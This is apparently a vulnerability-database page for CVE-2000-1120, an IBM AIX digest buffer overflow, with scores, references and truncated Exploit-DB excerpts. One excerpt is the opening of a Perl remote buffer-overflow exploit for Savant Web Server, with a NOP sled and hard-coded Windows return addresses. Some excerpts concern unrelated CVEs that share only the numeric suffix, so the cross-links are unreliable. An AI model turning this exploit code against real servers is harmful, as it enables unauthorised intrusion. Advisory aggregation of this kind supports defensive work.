CVE-2000-1120
published 2001-01-09CVE-2000-1120: Buffer overflow in digest command in IBM AIX 4.3.x and earlier allows local users to execute arbitrary commands.
PriorityP423high7.2CVSS 2.0
AVLACLAuNCCICAC
EXPLOIT
EPSS
0.94%
57.2th percentile
Buffer overflow in digest command in IBM AIX 4.3.x and earlier allows local users to execute arbitrary commands.
Affected
6 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readFDSelect
exploitdb·2019-07-10
CVE-2019-1120 Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readFDSelect
Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readFDSelect
---
-----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
At the time of this writing, based on the available source code, we conclude that AFDKO was origin
Exploit-DB
Savant Web Server 3.1 - Remote Buffer Overflow (2)
exploitdb·2005-08-30
CVE-2002-1120 Savant Web Server 3.1 - Remote Buffer Overflow (2)
Savant Web Server 3.1 - Remote Buffer Overflow (2)
---
#!/usr/local/bin/perl
#
# Savant Buffer Overflow Exploit
# ----------------------------------
# Infam0us Gr0up - Securiti Research
#
#
# Tested on Windows2000 SP4 (Win NT)
# Info: infamous.2hell.com
# Vendor URL: http://savant.sourceforge.net
#
$ARGC=@ARGV;
if ($ARGC !=3) {
print "\nUsage: $0 [remote IP] [Port]\n";
print "Example: $0 127.0.0.1 80 1\n";
print "\nsystem:\n";
print " 1 - Windows 2000 SP4\n";
print " 2 - winXP sp1\n";
print "\n";
exit;
}
use Socket;
$x90 = "\x90"x13;
$pack_ret = pack('l', ($ret));
if($sistem==1){$ret = 0x77e14c29;} # Windows 2000 SP4
if($sistem==2){$ret = 0x77fb59cc;} # winXP sp1
my($remote,$port,$iaddr,$paddr,$proto);
$remote=$ARGV[0];
$port =$ARGV[1];
$sistem = $ARGV[2];
print "\n";
print "[+] Con
Exploit-DB
IBM AIX 4.3 - '/usr/lib/lpd/digest' Local Buffer Overflow
exploitdb·2000-12-01
CVE-2000-1120 IBM AIX 4.3 - '/usr/lib/lpd/digest' Local Buffer Overflow
IBM AIX 4.3 - '/usr/lib/lpd/digest' Local Buffer Overflow
---
/*
source: https://www.securityfocus.com/bid/2033/info
AIX is a version of the UNIX Operating System distributed by IBM. A vulnerability exists in the operating system which could allow a user an elevation in priviledge.
The problem occurs in the digest binary. It is reported that it is possible to overflow a buffer in the program and overwrite a pointer to the stack, which in turn can result in an overflow in a library referenced by the binary. The secondary overflow in the library makes it possible to overwrite other stack variables, including the return address.
A malicious user could use this vulnerability to gain an elevation in priviledges, and potentially UID 0.
*/
/*## copyright LAST STAGE OF DELIRIUM dec 2000 pola
No writeups or analysis indexed.
http://marc.info/?l=bugtraq&m=97569466809056&w=2http://www-1.ibm.com/support/search.wss?rs=0&q=IY08143&apar=onlyhttp://www-1.ibm.com/support/search.wss?rs=0&q=IY08287&apar=onlyhttp://www.securityfocus.com/bid/2033https://exchange.xforce.ibmcloud.com/vulnerabilities/5620http://marc.info/?l=bugtraq&m=97569466809056&w=2http://www-1.ibm.com/support/search.wss?rs=0&q=IY08143&apar=onlyhttp://www-1.ibm.com/support/search.wss?rs=0&q=IY08287&apar=onlyhttp://www.securityfocus.com/bid/2033https://exchange.xforce.ibmcloud.com/vulnerabilities/5620
2001-01-09
Published